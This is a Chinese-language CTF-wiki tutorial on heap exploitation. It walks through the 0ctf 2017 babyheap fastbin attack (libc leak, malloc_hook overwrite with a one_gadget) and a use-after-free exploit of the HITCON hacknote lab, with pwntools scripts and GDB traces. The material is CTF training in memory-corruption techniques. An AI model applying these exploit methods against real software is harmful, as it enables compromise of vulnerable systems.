babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped
➜ 2017_0ctf_babyheap git:(master) checksec babyheap
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/fastbin_attack/2017_0ctf_babyheap/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
</code></pre>
<p>64位程序保护全部开启。</p>
<h3 id="基本功能-1"><a class="header" href="#基本功能-1">基本功能</a></h3>
<p>程序是一个堆分配器,主要由以下四种功能</p>
<pre><code class="language-c">puts("1. Allocate");
puts("2. Fill");
puts("3. Free");
puts("4. Dump");
puts("5. Exit");
return printf("Command: ");
</code></pre>
<p>其中,每次读取命令的函数由读取指定长度的字符串的函数而决定。
通过分配函数</p>
<pre><code class="language-c">void __fastcall allocate(__int64 a1)
{
signed int i; // [rsp+10h] [rbp-10h]
signed int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]
for ( i = 0; i &lt;= 15; ++i )
{
if ( !*(_DWORD *)(24LL * i + a1) )
{
printf("Size: ");
v2 = read_num();
if ( v2 &gt; 0 )
{
if ( v2 &gt; 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
*(_DWORD *)(24LL * i + a1) = 1;
*(_QWORD *)(a1 + 24LL * i + 8) = v2;
*(_QWORD *)(a1 + 24LL * i + 16) = v3;
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}
</code></pre>
<p>申请的 chunk 的最大为 4096。此外我们可以看出每个 chunk 主要有三个字段:是否在使用,堆块大小,堆块位置。故而我们可以创建对应的结构体。</p>
<pre><code>00000000 chunk struc ; (sizeof=0x18, mappedto_6)
00000000 inuse dq ?
00000008 size dq ?
00000010 ptr dq ?
00000018 chunk ends
</code></pre>
<p><strong>需要注意的是堆块是由 calloc 分配的,所以 chunk 中的内容全都为<code>\x00</code></strong>
在填充内容的功能中,使用读取内容的函数是直接读取指定长度的内容,并没有设置字符串结尾。<strong>而且比较有意思的是,这个指定长度是我们指定的,并不是之前 chunk 分配时指定的长度,所以这里就出现了任意堆溢出的情形。</strong></p>
<pre><code class="language-c">__int64 __fastcall fill(chunk *a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = read_num();
v2 = result;
if ( (signed int)result &gt;= 0 &amp;&amp; (signed int)result &lt;= 15 )
{
result = LODWORD(a1[(signed int)result].inuse);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = read_num();
v3 = result;
if ( (signed int)result &gt; 0 )
{
printf("Content: ");
result = read_content((char *)a1[v2].ptr, v3);
}
}
}
return result;
}
</code></pre>
<p>在释放chunk的功能中该设置的都设置了。</p>
<pre><code class="language-c">__int64 __fastcall free_chunk(chunk *a1)
{
__int64 result; // rax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = read_num();
v2 = result;
if ( (signed int)result &gt;= 0 &amp;&amp; (signed int)result &lt;= 15 )
{
result = LODWORD(a1[(signed int)result].inuse);
if ( (_DWORD)result == 1 )
{
LODWORD(a1[v2].inuse) = 0;
a1[v2].size = 0LL;
free(a1[v2].ptr);
result = (__int64)&amp;a1[v2];
*(_QWORD *)(result + 16) = 0LL;
}
}
return result;
}
</code></pre>
<p>dump 就是输出对应索引 chunk 的内容。</p>
<h3 id="利用思路"><a class="header" href="#利用思路">利用思路</a></h3>
<p>可以确定的是,我们主要有的漏洞就是任意长度堆溢出。由于该程序几乎所有保护都开启了,所以我们必须要有一些泄漏才可以控制程序的流程。基本利用思路如下</p>
<ul>
<li>利用 unsorted bin 地址泄漏 libc 基地址。</li>
<li>利用 fastbin attack 将chunk 分配到 malloc_hook 附近。</li>
</ul>
<h4 id="泄漏-libc-基地址"><a class="header" href="#泄漏-libc-基地址">泄漏 libc 基地址</a></h4>
<p>由于我们是希望使用 unsorted bin 来泄漏 libc 基地址,所以必须要有 chunk 可以被链接到 unsorted bin 中,所以该 chunk 不能使 fastbin chunk也不能和 top chunk 相邻。因为前者会被添加到 fastbin 中后者在不是fastbin 的情况下,会被合并到 top chunk 中。因此,我们这里构造一个 small bin chunk。在将该 chunk 释放到 unsorted bin 的同时,也需要让另外一个正在使用的 chunk 可以同时指向该 chunk 的位置。这样才可以进行泄漏。具体设计如下</p>
<pre><code class="language-Python"># 1. leak libc base
allocate(0x10) # idx 0, 0x00
allocate(0x10) # idx 1, 0x20
allocate(0x10) # idx 2, 0x40
allocate(0x10) # idx 3, 0x60
allocate(0x80) # idx 4, 0x80
# free idx 1, 2, fastbin[0]-&gt;idx1-&gt;idx2-&gt;NULL
free(2)
free(1)
</code></pre>
<p>首先,我们申请了 5 个chunk并释放了两个chunk此时堆的情况如下。</p>
<pre><code class="language-shell">pwndbg&gt; x/20gx 0x55a03ca22000
0x55a03ca22000: 0x0000000000000000 0x0000000000000021 idx 0
0x55a03ca22010: 0x0000000000000000 0x0000000000000000
0x55a03ca22020: 0x0000000000000000 0x0000000000000021 idx 1
0x55a03ca22030: 0x000055a03ca22040 0x0000000000000000
0x55a03ca22040: 0x0000000000000000 0x0000000000000021 idx 2
0x55a03ca22050: 0x0000000000000000 0x0000000000000000
0x55a03ca22060: 0x0000000000000000 0x0000000000000021 idx 3
0x55a03ca22070: 0x0000000000000000 0x0000000000000000
0x55a03ca22080: 0x0000000000000000 0x0000000000000091 idx 4
0x55a03ca22090: 0x0000000000000000 0x0000000000000000
pwndbg&gt; fastbins
fastbins
0x20: 0x55a03ca22020 —▸ 0x55a03ca22040 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
</code></pre>
<p>当我们编辑 idx0 后确实已经将其指向idx4了。这里之所以可以成功是因为堆的始终是 4KB 对齐的所以idx 4的起始地址的第一个字节必然是0x80。</p>
<pre><code class="language-python"># edit idx 0 chunk to particial overwrite idx1's fd to point to idx4
payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
fill(0, len(payload), payload)
</code></pre>
<p>修改成功后如下</p>
<pre><code class="language-shell">pwndbg&gt; x/20gx 0x55a03ca22000
0x55a03ca22000: 0x0000000000000000 0x0000000000000021
0x55a03ca22010: 0x6161616161616161 0x6161616161616161
0x55a03ca22020: 0x0000000000000000 0x0000000000000021
0x55a03ca22030: 0x000055a03ca22080 0x0000000000000000
0x55a03ca22040: 0x0000000000000000 0x0000000000000021
0x55a03ca22050: 0x0000000000000000 0x0000000000000000
0x55a03ca22060: 0x0000000000000000 0x0000000000000021
0x55a03ca22070: 0x0000000000000000 0x0000000000000000
0x55a03ca22080: 0x0000000000000000 0x0000000000000091
0x55a03ca22090: 0x0000000000000000 0x0000000000000000
pwndbg&gt; fastbins
fastbins
0x20: 0x55a03ca22020 —▸ 0x55a03ca22080 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
</code></pre>
<p>那么当我们再次申请两个时第二个申请到的就是idx 4处的chunk。为了能够申请成功我们需要确保 idx4 的size 与当前 fastbin 的大小一致所以我们得修改它的大小。申请成功后idx2会指向idx4。</p>
<pre><code class="language-python"># if we want to allocate at idx4, we must set it's size as 0x21
payload = 0x10 * 'a' + p64(0) + p64(0x21)
fill(3, len(payload), payload)
allocate(0x10) # idx 1
allocate(0x10) # idx 2, which point to idx4's location
</code></pre>
<p>之后,如果我们想要将 idx 4 放到 unsorted bin 中的话为了防止其与top chunk 合并我们需要再次申请一个chunk。此后再释放 idx4 就会进入 unsorted bin中去了。此时由于 idx2 也指向这个地址所以我们直接展示他的内容就可以得到unsorted bin的地址了。</p>
<pre><code class="language-python"># if want to free idx4 to unsorted bin, we must fix its size
payload = 0x10 * 'a' + p64(0) + p64(0x91)
fill(3, len(payload), payload)
# allocate a chunk in order when free idx4, idx 4 not consolidate with top chunk
allocate(0x80) # idx 5
free(4)
# as idx 2 point to idx4, just show this
dump(2)
p.recvuntil('Content: \n')
unsortedbin_addr = u64(p.recv(8))
main_arena = unsortedbin_addr - offset_unsortedbin_main_arena
log.success('main arena addr: ' + hex(main_arena))
main_arena_offset = 0x3c4b20
libc_base = main_arena - main_arena_offset
log.success('libc base addr: ' + hex(libc_base))
</code></pre>
<h4 id="分配chunk到malloc_hook附近"><a class="header" href="#分配chunk到malloc_hook附近">分配chunk到malloc_hook附近</a></h4>
<p>由于 malloc hook 附近的 chunk 大小为 0x7f所以数据区域为0x60。这里我们再次申请的时候对应 fastbin 链表中没有相应大小chunk所以根据堆分配器规则它会依次处理unsorted bin中的chunk将其放入到对应的bin中之后会再次尝试分配 chunk因为之前释放的 chunk 比当前申请的 chunk 大,所以可以从其前面分割出来一块。所以 idx2 仍然指向该位置那么我们可以使用类似的办法先释放申请到的chunk然后再次修改 fd 指针为 fake chunk 即可。此后我们修改 malloc_hook 处的指针即可得到触发 onegadget。</p>
<pre><code class="language-Python"># 2. malloc to malloc_hook nearby
# allocate a 0x70 size chunk same with malloc hook nearby chunk, idx4
allocate(0x60)
free(4)
# edit idx4's fd point to fake chunk
fake_chunk_addr = main_arena - 0x33
fake_chunk = p64(fake_chunk_addr)
fill(2, len(fake_chunk), fake_chunk)
allocate(0x60) # idx 4
allocate(0x60) # idx 6
one_gadget_addr = libc_base + 0x4527a
payload = 0x13 * 'a' + p64(one_gadget_addr)
fill(6, len(payload), payload)
# trigger malloc_hook
allocate(0x100)
p.interactive()
</code></pre>
<p>同时,这里的 onegadget 地址也可能需要尝试多次。</p>
<h1 id="use-after-free"><a class="header" href="#use-after-free">Use After Free</a></h1>
<h2 id="原理-1"><a class="header" href="#原理-1">原理</a></h2>
<p>简单的说Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况</p>
<ul>
<li>内存块被释放后,其对应的指针被设置为 NULL 然后再次使用,自然程序会崩溃。</li>
<li>内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么<strong>程序很有可能可以正常运转</strong></li>
<li>内存块被释放后其对应的指针没有被设置为NULL但是在它下一次使用之前有代码对这块内存进行了修改那么当程序再次使用这块内存时<strong>就很有可能会出现奇怪的问题</strong>
而我们一般所指的 <strong>Use After Free</strong> 漏洞主要是后两种。此外,<strong>我们一般称被释放后没有被设置为NULL的内存指针为dangling pointer。</strong>
这里给出一个简单的例子</li>
</ul>
<pre><code class="language-c++">#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
typedef struct name {
char *myname;
void (*func)(char *str);
} NAME;
void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }
int main() {
NAME *a;
a = (NAME *)malloc(sizeof(struct name));
a-&gt;func = myprint;
a-&gt;myname = "I can also use it";
a-&gt;func("this is my function");
// free without modify
free(a);
a-&gt;func("I can also use it");
// free with modify
a-&gt;func = printmyname;
a-&gt;func("this is my function");
// set NULL
a = NULL;
printf("this pogram will crash...\n");
a-&gt;func("can not be printed...");
}
</code></pre>
<p>运行结果如下</p>
<pre><code class="language-shell">➜ use_after_free git:(use_after_free) ✗ ./use_after_free
this is my function
I can also use it
call print my name
this pogram will crash...
[1] 38738 segmentation fault (core dumped) ./use_after_free
</code></pre>
<h2 id="例子"><a class="header" href="#例子">例子</a></h2>
<p>这里我们以 HITCON-training 中的 <a href="https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/use_after_free/hitcon-training-hacknote">lab 10 hacknote</a> 为例。</p>
<h3 id="功能分析"><a class="header" href="#功能分析">功能分析</a></h3>
<p>我们可以简单分析下程序可以看出在程序的开头有个menu函数其中有</p>
<pre><code class="language-c">puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
</code></pre>
<p>故而程序应该主要有3个功能。之后程序会根据用户的输入执行相应的功能。</p>
<h4 id="add_note"><a class="header" href="#add_note">add_note</a></h4>
<p>根据程序我们可以看出程序最多可以添加5个note。每个note有两个字段put与content其中put会被设置为一个函数其函数会输出 content 具体的内容。</p>
<pre><code class="language-c++">unsigned int add_note()
{
note *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( count &lt;= 5 )
{
for ( i = 0; i &lt;= 4; ++i )
{
if ( !notelist[i] )
{
notelist[i] = malloc(8u);
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
notelist[i]-&gt;put = print_note_content;
printf("Note size :");
read(0, &amp;buf, 8u);
size = atoi(&amp;buf);
v0 = notelist[i];
v0-&gt;content = malloc(size);
if ( !notelist[i]-&gt;content )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notelist[i]-&gt;content, size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
</code></pre>
<h4 id="print_note"><a class="header" href="#print_note">print_note</a></h4>
<p>print_note就是简单的根据给定的note的索引来输出对应索引的note的内容。</p>
<pre><code class="language-c">unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &amp;buf, 4u);
v1 = atoi(&amp;buf);
if ( v1 &lt; 0 || v1 &gt;= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
notelist[v1]-&gt;put(notelist[v1]);
return __readgsdword(0x14u) ^ v3;
}
</code></pre>
<h4 id="delete_note"><a class="header" href="#delete_note">delete_note</a></h4>
<p>delete_note 会根据给定的索引来释放对应的note。但是值得注意的是在 删除的时候只是单纯进行了free而没有设置为NULL那么显然这里是存在Use After Free的情况的。</p>
<pre><code class="language-c">unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &amp;buf, 4u);
v1 = atoi(&amp;buf);
if ( v1 &lt; 0 || v1 &gt;= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
{
free(notelist[v1]-&gt;content);
free(notelist[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
</code></pre>
<h3 id="利用分析"><a class="header" href="#利用分析">利用分析</a></h3>
<p>我们可以看到 Use After Free 的情况确实可能会发生那么怎么可以让它发生并且进行利用呢需要同时注意的是这个程序中还有一个magic函数我们有没有可能来通过use after free 来使得这个程序执行magic函数呢<strong>一个很直接的想法是修改note的put字段为magic函数的地址从而实现在执行print note 的时候执行magic函数。</strong> 那么该怎么执行呢?
我们可以简单来看一下每一个note生成的具体流程</p>
<ol>
<li>程序申请8字节内存用来存放note中的put以及content指针。</li>
<li>程序根据输入的size来申请指定大小的内存然后用来存储content。</li>
</ol>
<pre><code>+-----------------+
| put |
+-----------------+
| content | size
+-----------------+-------------------&gt;+----------------+
| real |
| content |
| |
+----------------+
</code></pre>
<p>那么根据我们之前在堆的实现中所学到的显然note是一个fastbin chunk大小为16字节。我们的目的是希望一个note的put字段为magic的函数地址那么我们必须想办法让某个note的put指针被覆盖为magic地址。由于程序中只有唯一的地方对put进行赋值。所以我们必须利用写real content的时候来进行覆盖。具体采用的思路如下</p>
<ul>
<li>申请note0real content size为16大小与note大小所在的bin不一样即可</li>
<li>申请note1real content size为16大小与note大小所在的bin不一样即可</li>
<li>释放note0</li>
<li>释放note1</li>
<li>此时大小为16的fast bin chunk中链表为note1-&gt;note0</li>
<li>申请note2并且设置real content的大小为8那么根据堆的分配规则</li>
<li>note2其实会分配note1对应的内存块。</li>
<li>real content 对应的chunk其实是note0。</li>
<li>如果我们这时候向note2 real content的chunk部分写入magic的地址那么由于我们没有note0为NULL。当我们再次尝试输出note0的时候程序就会调用magic函数。</li>
</ul>
<h3 id="利用脚本"><a class="header" href="#利用脚本">利用脚本</a></h3>
<pre><code class="language-python">#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./hacknote')
def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
#gdb.attach(r)
magic = 0x08048986
addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1
delnote(0) # delete note 0
delnote(1) # delete note 1
addnote(8, p32(magic)) # add note 2
printnote(0) # print note 0
r.interactive()
</code></pre>
<p>我们可以具体看一下执行的流程,首先先下断点
<strong>两处malloc下断点</strong></p>
<pre><code class="language-shell">gef➤ b *0x0804875C
Breakpoint 1 at 0x804875c
gef➤ b *0x080486CA
Breakpoint 2 at 0x80486ca
</code></pre>
<p><strong>两处free下断点</strong></p>
<pre><code class="language-shell">gef➤ b *0x08048893
Breakpoint 3 at 0x8048893
gef➤ b *0x080488A9
Breakpoint 4 at 0x80488a9
</code></pre>
<p>然后继续执行程序可以看出申请note0时所申请到的内存块地址为0x0804b008。eax存储函数返回值</p>
<pre><code class="language-asm">$eax : 0x0804b008 → 0x00000000
$ebx : 0x00000000
$ecx : 0xf7fac780 → 0x00000000
$edx : 0x0804b008 → 0x00000000
$esp : 0xffffcf10 → 0x00000008
$ebp : 0xffffcf48 → 0xffffcf68 → 0x00000000
$esi : 0xf7fac000 → 0x001b1db0
$edi : 0xf7fac000 → 0x001b1db0
$eip : 0x080486cf → &lt;add_note+89&gt; add esp, 0x10
$cs : 0x00000023
$ss : 0x0000002b
$ds : 0x0000002b
$es : 0x0000002b
$fs : 0x00000000
$gs : 0x00000063
$eflags: [carry PARITY adjust zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
0x80486c2 &lt;add_note+76&gt; add DWORD PTR [eax], eax
0x80486c4 &lt;add_note+78&gt; add BYTE PTR [ebx+0x86a0cec], al
0x80486ca &lt;add_note+84&gt; call 0x80484e0 &lt;malloc@plt&gt;
→ 0x80486cf &lt;add_note+89&gt; add esp, 0x10
0x80486d2 &lt;add_note+92&gt; mov edx, eax
0x80486d4 &lt;add_note+94&gt; mov eax, DWORD PTR [ebp-0x1c]
0x80486d7 &lt;add_note+97&gt; mov DWORD PTR [eax*4+0x804a070], edx
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcf10', 'l8']
8
0xffffcf10│+0x00: 0x00000008 ← $esp
0xffffcf14│+0x04: 0x00000000
0xffffcf18│+0x08: 0xf7e29ef5 → &lt;strtol+5&gt; add eax, 0x18210b
0xffffcf1c│+0x0c: 0xf7e27260 → &lt;atoi+16&gt; add esp, 0x1c
0xffffcf20│+0x10: 0xffffcf58 → 0xffff0a31 → 0x00000000
0xffffcf24│+0x14: 0x00000000
0xffffcf28│+0x18: 0x0000000a
0xffffcf2c│+0x1c: 0x00000000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
---Type &lt;return&gt; to continue, or q &lt;return&gt; to quit---
[#0] 0x80486cf → Name: add_note()
[#1] 0x8048ac5 → Name: main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ heap chunk 0x0804b008
UsedChunk(addr=0x804b008, size=0x10)
Chunk size: 16 (0x10)
Usable size: 12 (0xc)
Previous chunk size: 0 (0x0)
PREV_INUSE flag: On
IS_MMAPPED flag: Off
NON_MAIN_ARENA flag: Off
</code></pre>
<p><strong>申请note 0的content的地址为0x0804b018</strong></p>
<pre><code class="language-asm">$eax : 0x0804b018 → 0x00000000
$ebx : 0x0804b008 → 0x0804865b → &lt;print_note_content+0&gt; push ebp
$ecx : 0xf7fac780 → 0x00000000
$edx : 0x0804b018 → 0x00000000
$esp : 0xffffcf10 → 0x00000020
$ebp : 0xffffcf48 → 0xffffcf68 → 0x00000000
$esi : 0xf7fac000 → 0x001b1db0
$edi : 0xf7fac000 → 0x001b1db0
$eip : 0x08048761 → &lt;add_note+235&gt; add esp, 0x10
$cs : 0x00000023
$ss : 0x0000002b
$ds : 0x0000002b
$es : 0x0000002b
$fs : 0x00000000
$gs : 0x00000063
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
0x8048752 &lt;add_note+220&gt; mov al, ds:0x458b0804
0x8048757 &lt;add_note+225&gt; call 0x581173df
0x804875c &lt;add_note+230&gt; call 0x80484e0 &lt;malloc@plt&gt;
→ 0x8048761 &lt;add_note+235&gt; add esp, 0x10
0x8048764 &lt;add_note+238&gt; mov DWORD PTR [ebx+0x4], eax
0x8048767 &lt;add_note+241&gt; mov eax, DWORD PTR [ebp-0x1c]
0x804876a &lt;add_note+244&gt; mov eax, DWORD PTR [eax*4+0x804a070]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcf10', 'l8']
8
0xffffcf10│+0x00: 0x00000020 ← $esp
0xffffcf14│+0x04: 0xffffcf34 → 0xf70a3233
0xffffcf18│+0x08: 0x00000008
0xffffcf1c│+0x0c: 0xf7e27260 → &lt;atoi+16&gt; add esp, 0x1c
0xffffcf20│+0x10: 0xffffcf58 → 0xffff0a31 → 0x00000000
0xffffcf24│+0x14: 0x00000000
0xffffcf28│+0x18: 0x0000000a
0xffffcf2c│+0x1c: 0x00000000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
---Type &lt;return&gt; to continue, or q &lt;return&gt; to quit---
[#0] 0x8048761 → Name: add_note()
[#1] 0x8048ac5 → Name: main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ heap chunk 0x0804b018
UsedChunk(addr=0x804b018, size=0x28)
Chunk size: 40 (0x28)
Usable size: 36 (0x24)
Previous chunk size: 0 (0x0)
PREV_INUSE flag: On
IS_MMAPPED flag: Off
NON_MAIN_ARENA flag: Off
</code></pre>
<p>类似的我们可以得到note1的地址以及其content的地址分别为0x0804b040 和0x0804b050。
同时我们还可以看到note0与note1对应的content确实是相应的内存块。</p>
<pre><code class="language-asm">gef➤ grep aaaa
[+] Searching 'aaaa' in memory
[+] In '[heap]'(0x804b000-0x806c000), permission=rw-
0x804b018 - 0x804b01c → "aaaa"
gef➤ grep ddaa
[+] Searching 'ddaa' in memory
[+] In '[heap]'(0x804b000-0x806c000), permission=rw-
0x804b050 - 0x804b054 → "ddaa"
</code></pre>
<p>下面就是free的过程了。我们可以依次发现首先note0的content被free</p>
<pre><code class="language-asm">→ 0x8048893 &lt;del_note+143&gt; call 0x80484c0 &lt;free@plt&gt;
↳ 0x80484c0 &lt;free@plt+0&gt; jmp DWORD PTR ds:0x804a018
0x80484c6 &lt;free@plt+6&gt; push 0x18
0x80484cb &lt;free@plt+11&gt; jmp 0x8048480
0x80484d0 &lt;__stack_chk_fail@plt+0&gt; jmp DWORD PTR ds:0x804a01c
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcf20', 'l8']
8
0xffffcf20│+0x00: 0x0804b018 → "aaaa" ← $esp
</code></pre>
<p>然后是note0本身</p>
<pre><code class="language-asm">→ 0x80488a9 &lt;del_note+165&gt; call 0x80484c0 &lt;free@plt&gt;
↳ 0x80484c0 &lt;free@plt+0&gt; jmp DWORD PTR ds:0x804a018
0x80484c6 &lt;free@plt+6&gt; push 0x18
0x80484cb &lt;free@plt+11&gt; jmp 0x8048480
0x80484d0 &lt;__stack_chk_fail@plt+0&gt; jmp DWORD PTR ds:0x804a01c
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcf20', 'l8']
8
0xffffcf20│+0x00: 0x0804b008 → 0x0804865b → &lt;print_note_content+0&gt; push ebp ← $esp
</code></pre>
<p>当delete结束后我们观看一下bins可以发现确实其被存放在对应的fast bin中</p>
<pre><code class="language-c++">gef➤ heap bins
───────────────────────────────────────────────────────────[ Fastbins for arena 0xf7fac780 ]───────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x8] ← UsedChunk(addr=0x804b008, size=0x10)
Fastbins[idx=1, size=0xc] 0x00
Fastbins[idx=2, size=0x10] 0x00
Fastbins[idx=3, size=0x14] ← UsedChunk(addr=0x804b018, size=0x28)
Fastbins[idx=4, size=0x18] 0x00
Fastbins[idx=5, size=0x1c] 0x00
Fastbins[idx=6, size=0x20] 0x00
</code></pre>
<p>当我们将note1也全部删除完毕后再次观看bins。可以看出后删除的chunk块确实处于表头。</p>
<pre><code class="language-asm">gef➤ heap bins
───────────────────────────────────────────────────────────[ Fastbins for arena 0xf7fac780 ]───────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x8] ← UsedChunk(addr=0x804b040, size=0x10) ← UsedChunk(addr=0x804b008, size=0x10)
Fastbins[idx=1, size=0xc] 0x00
Fastbins[idx=2, size=0x10] 0x00
Fastbins[idx=3, size=0x14] ← UsedChunk(addr=0x804b050, size=0x28) ← UsedChunk(addr=0x804b018, size=0x28)
Fastbins[idx=4, size=0x18] 0x00
Fastbins[idx=5, size=0x1c] 0x00
Fastbins[idx=6, size=0x20] 0x00
</code></pre>
<p>那么此时即将要申请note2我们可以看下note2都申请到了什么内存块如下
<strong>申请note2对应的内存块为0x804b040其实就是note1对应的内存地址。</strong></p>
<pre><code class="language-asm">[+] Heap-Analysis - malloc(8)=0x804b040
[+] Heap-Analysis - malloc(8)=0x804b040
0x080486cf in add_note ()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax : 0x0804b040 → 0x0804b000 → 0x00000000
$ebx : 0x00000000
$ecx : 0xf7fac780 → 0x00000000
$edx : 0x0804b040 → 0x0804b000 → 0x00000000
$esp : 0xffffcf10 → 0x00000008
$ebp : 0xffffcf48 → 0xffffcf68 → 0x00000000
$esi : 0xf7fac000 → 0x001b1db0
$edi : 0xf7fac000 → 0x001b1db0
$eip : 0x080486cf → &lt;add_note+89&gt; add esp, 0x10
$cs : 0x00000023
$ss : 0x0000002b
$ds : 0x0000002b
$es : 0x0000002b
$fs : 0x00000000
$gs : 0x00000063
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
0x80486c2 &lt;add_note+76&gt; add DWORD PTR [eax], eax
0x80486c4 &lt;add_note+78&gt; add BYTE PTR [ebx+0x86a0cec], al
0x80486ca &lt;add_note+84&gt; call 0x80484e0 &lt;malloc@plt&gt;
→ 0x80486cf &lt;add_note+89&gt; add esp, 0x10
</code></pre>
<p><strong>申请note2的content的内存地址为0x804b008就是note0对应的地址即此时我们向note2的content写内容就会将note0的put字段覆盖。</strong></p>
<pre><code class="language-asm">gef➤ n 1
[+] Heap-Analysis - malloc(8)=0x804b008
[+] Heap-Analysis - malloc(8)=0x804b008
0x08048761 in add_note ()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax : 0x0804b008 → 0x00000000
$ebx : 0x0804b040 → 0x0804865b → &lt;print_note_content+0&gt; push ebp
$ecx : 0xf7fac780 → 0x00000000
$edx : 0x0804b008 → 0x00000000
$esp : 0xffffcf10 → 0x00000008
$ebp : 0xffffcf48 → 0xffffcf68 → 0x00000000
$esi : 0xf7fac000 → 0x001b1db0
$edi : 0xf7fac000 → 0x001b1db0
$eip : 0x08048761 → &lt;add_note+235&gt; add esp, 0x10
$cs : 0x00000023
$ss : 0x0000002b
$ds : 0x0000002b
$es : 0x0000002b
$fs : 0x00000000
$gs : 0x00000063
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
0x8048752 &lt;add_note+220&gt; mov al, ds:0x458b0804
0x8048757 &lt;add_note+225&gt; call 0x581173df
0x804875c &lt;add_note+230&gt; call 0x80484e0 &lt;malloc@plt&gt;
→ 0x8048761 &lt;add_note+235&gt; add esp, 0x10
</code></pre>
<p>我们来具体检验一下看一下覆盖前的情况可以看到该内存块的put指针已经被置为NULL了这是由fastbin的free机制决定的。</p>
<pre><code class="language-asm">gef➤ x/2xw 0x804b008
0x804b008: 0x00000000 0x0804b018
</code></pre>
<p>覆盖后,具体的值如下</p>
<pre><code class="language-asm">gef➤ x/2xw 0x804b008
0x804b008: 0x08048986 0x0804b00a
gef➤ x/i 0x08048986
0x8048986 &lt;magic&gt;: push ebp
</code></pre>
<p>可以看出确实已经被覆盖为我们所想要的magic函数了。
最后执行的效果如下</p>
<pre><code class="language-shell">[+] Starting local process './hacknote': pid 35030
[*] Switching to interactive mode
flag{use_after_free}----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
</code></pre>
<p>同时我们还可以借助gef的heap-analysis-helper 来看一下整体的堆的申请与释放的情况,如下</p>
<pre><code class="language-asm">gef➤ heap-analysis-helper
[*] This feature is under development, expect bugs and unstability...
